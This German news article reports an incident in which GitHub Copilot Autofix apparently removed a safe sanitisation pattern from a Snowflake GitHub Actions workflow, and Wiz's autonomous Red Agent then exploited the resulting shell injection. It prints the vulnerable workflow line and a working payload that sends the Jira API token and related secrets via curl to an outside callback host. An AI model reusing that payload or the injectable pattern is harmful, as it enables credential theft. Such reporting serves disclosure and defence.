KI-Auto-Fix führte den Bug ein, den es töten sollte
Wenn der Fix den Fehler schafft
Am 18. Juni 2026 erzeugte GitHub Copilot Autofix einen Commit für Snowflakes Open-Source-Repository. Das KI-Tool, entwickelt um automatisch Sicherheitslücken zu schließen, tat etwas Unerwartetes: Es entfernte das bestehende Input-Sanitisierungsmuster und ersetzte es durch rohe, ungefilterte String-Interpolation in einem Shell-Script.
Fünf Tage später, am 23. Juni, fand Wiz Researchs Red Agent -- ein autonomer KI-Sicherheitsagent -- den Bug, nutzte ihn aus und extrahierte Jira-Zugangsdaten aus Snowflakes internen Systemen. Snowflake schloss die Lücke noch am selben Tag.
„Der KI-Assistent entfernte das bestehende Sanitisierungsmuster des Repositories und ersetzte es durch direkte String-Expansion in einem Shell-Script", schrieb das Wiz-Forschungsteam in seiner öffentlichen Offenlegung. Der Commit, der von GitHub Copilot Autofix mitverfasst wurde, hatte genau die Art von Schwachstelle geschaffen, die es eigentlich beseitigen sollte.
Wie die Injection funktionierte
Der verwundbare Code befand sich in einem GitHub-Actions-Workflow, der auf neue GitHub-Issues reagierte. Der Workflow nahm den Issue-Titel -- ein vom Angreifer kontrolliertes Feld -- und interpolierte ihn direkt in einen Shell-Befehl ohne ordnungsgemäße Bereinigung:
TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\"/g' | sed "s/'/\'/g")
Das Escaping erfolgt hier nach GitHub's Template-Expansion, was bedeutet, dass ein einfaches Anführungszeichen im Issue-Titel aus dem echo-String ausbricht. Jeder GitHub-Nutzer -- nicht nur Snowflake-Mitarbeiter -- konnte dies durch das Öffnen eines Issues mit einem präparierten Titel auslösen.
Wiz' Red Agent demonstrierte dies, indem es einen Payload erstellte, der nach der Template-Expansion aus dem echo-String ausbrach und den Jira-API-Token über einen Out-of-Band-DNS-Callback exfiltrierte:
'; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo '
Der Listener empfing den Callback innerhalb von Sekunden von einem GitHub-Actions-Runner. Mit den exfiltrierten Jira-Zugangsdaten erhielt Red Agent Lesezugriff auf Snowflakes Engineering-, Security-Compliance- und Bug-Bounty-Tracking-Projekte.
Warum die KI es tat
Das entscheidende Detail: Das Repository hatte zuvor ein sicheres Muster. Ein env-begrenzter Variablen- und jq-basierter Parsing-Ansatz war bewusst gewählt worden, um Shell-Injection zu verhindern. Copilot Autofix' generierter PR entfernte dieses Muster und ersetzte es durch die anfällige Expansion.
Dies ist die Kernschwäche probabilistischer Codegenerierung. KI-Coding-Tools sagen Code auf Basis von Mustern in ihren Trainingsdaten voraus, nicht auf einem Verständnis dafür, warum bestimmte Design-Entscheidungen in einer bestimmten Codebasis getroffen wurden. Das Tool sah ein verbreitetes Shell-Muster (direkte Variablenexpansion) und generierte es, ohne zu wissen, dass der vorherige Entwickler bewusst einen anderen, sichereren Ansatz gewählt hatte.
Automatisierte KI-Assistenten fehlt oft der historische Kontext, warum bestimmte Codemuster gewählt wurden, stellte das Wiz-Team fest. In diesem Vorfall entfernte ein automatisierter PR ein sicheres env: + jq-Parsing-Muster, das explizit implementiert worden war, um genau die Injection zu verhindern, die dann eingeführt wurde.
Die Geschwindigkeit autonomer Entdeckung
Die Schwachstelle war nur fünf Tage lang aktiv, bevor ein autonomer KI-Agent sie entdeckte, validierte und ausnutzte. Wiz' Red Agent scannte eigenständig Snowflakes GitHub-Organisation, markierte den verwundbaren Workflow, erstellte den Exploit-Payload, exfiltrierte die Zugangsdaten und griff auf Snowflakes internes Jira zu -- alles ohne menschliches Eingreifen.
Snowflakes Audit-Log-Analyse bestätigte, dass kein externer Dritter während des fünftägigen Zeitfensters auf den Endpunkt zugegriffen hatte. Alle anormalen Abfragen stammten nachweislich von Wiz' Test-IPs. Das Unternehmen rotierte die betroffenen Zugangsdaten am selben Tag und verifizierte den Fix.
Was dies für KI-gestützte Entwicklung bedeutet
Der Vorfall erzeugt eine Rückkopplungsschleife, die ernst genommen werden sollte. KI-Programmierassistenten werden eingesetzt, um Entwicklern beim Schreiben sichereren Codes zu helfen. Aber wenn dieselben Tools Schwachstellen einführen und autonome KI-Agenten diese in Tagen statt Monaten entdecken und ausnutzen, bricht der traditionelle Sicherheits-Patching-Zyklus zusammen.
Die Schlussfolgerung des Wiz-Teams ist eindeutig: „KI-generierte PRs müssen derselben statischen Analyse und Sicherheitsüberprüfung unterzogen werden wie von Menschen geschriebener Code." Ein Tool, das meistens funktioniert, aber auf unvorhersehbare Weise versagt, ist keine Abkürzung um die Sicherheitsüberprüfung -- es ist ein Grund, sie zu verstärken.